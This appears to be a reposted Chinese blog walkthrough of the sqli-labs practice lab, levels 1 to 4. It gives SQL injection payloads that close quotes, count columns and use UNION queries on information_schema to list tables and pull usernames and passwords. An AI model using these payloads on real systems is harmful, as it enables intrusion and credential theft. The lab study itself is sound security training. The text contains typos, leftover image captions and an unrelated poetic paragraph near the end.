Background-1 基础知识 sqli-Labs Less1-Less-4-Toy模板网

这篇具有很好参考价值的文章主要介绍了Background-1 基础知识 sqli-Labs Less1-Less-4。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

一、Less-1

http://sqli:8080/Less-1/?id=1

在第一关我们可以尝试增加一个单引号进行尝试

http://sqli:8080/Less-1/?id=1'

错误显示如下：
Background-1 基础知识 sqli-Labs Less1-Less-4

 near ''1'' LIMIT 0,1' at line 1

推测语法的结构


select *from where ***  id='  'id' limit 0,1'

上述错误中我们可以推测由于增加了1’导致语法变成'1'' limit 0,1,是由于多加了一个'造成的后果。
下面是尝试解决的方法
尝试' or 1=1--+把但单引号给闭合
此时的语句构成如下代码段：

selecr ***from  **  where id= '1' or 1=1--+ ' limit 0,1

接下来：
通过order by 来查看有几列数据，当尝试到 order by 4时出现报错猜测只有三列数据。

Background-1 基础知识 sqli-Labs Less1-Less-4 为什么造成sql注入分析，由于对单引号闭合后，使用了 or 1=1永真。

接下来：采用联合union 把两个多个sql语句连接起来。

http://sqli:8080/Less-1/?id=-1' union select 1,2--+

（当id=-1时，前一个内容为空从而执行后面的语句），从而构造了union语句
下面进行爆数据库：

select 1,2,group_concat(schema_name) from information_schema.schemata--+;

Background-1 基础知识 sqli-Labs Less1-Less-4
爆security的表：

-1'union select 1,2,group_concat( table_name) from information_schema.tables where 
table_schema='security'--+

Background-1 基础知识 sqli-Labs Less1-Less-4
爆users表中的列

-1'union select 1,2,group_concat(column_name) from information_schema.columns where 
table_name='users'--+

Background-1 基础知识 sqli-Labs Less1-Less-4

爆数据：

?id=-1'union select 1,username,password from users where id=1--+

Background-1 基础知识 sqli-Labs Less1-Less-4

Background-1 基础知识 sqli-Labs Less1-Less-4
根据报错信息推测开发者使用的语句是：

select *from table where=(使用的是整数)--+

可成功注入的有：

or 1=1--+
or 1=1--+

Background-1 基础知识 sqli-Labs Less1-Less-4 根据报错信息提示开发者使用的语句是：

select * from table where id=('out input here')--+

可成功注入的有：

 ') or '1'=('1
 ') or 1=1--+

Background-1 基础知识 sqli-Labs Less1-Less-4
根据报错信息我们推测sql的语句：

select * from table where=("$id")--+

可成功注入的有：

") or "1"=("1
") or 1=1--+

离别总是不经意间，还没来得及告别就已不见，不舍的心情难以言表，相见与分离是现实却如梦，我已傻傻分不清二者。
逍遥游；尧让天下于许由，肩吾问于连叔曰，送人资章甫而适，惠子问庄子曰文章来源地址https://www.toymoban.com/news/detail-481527.html

到了这里，关于Background-1 基础知识 sqli-Labs Less1-Less-4的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！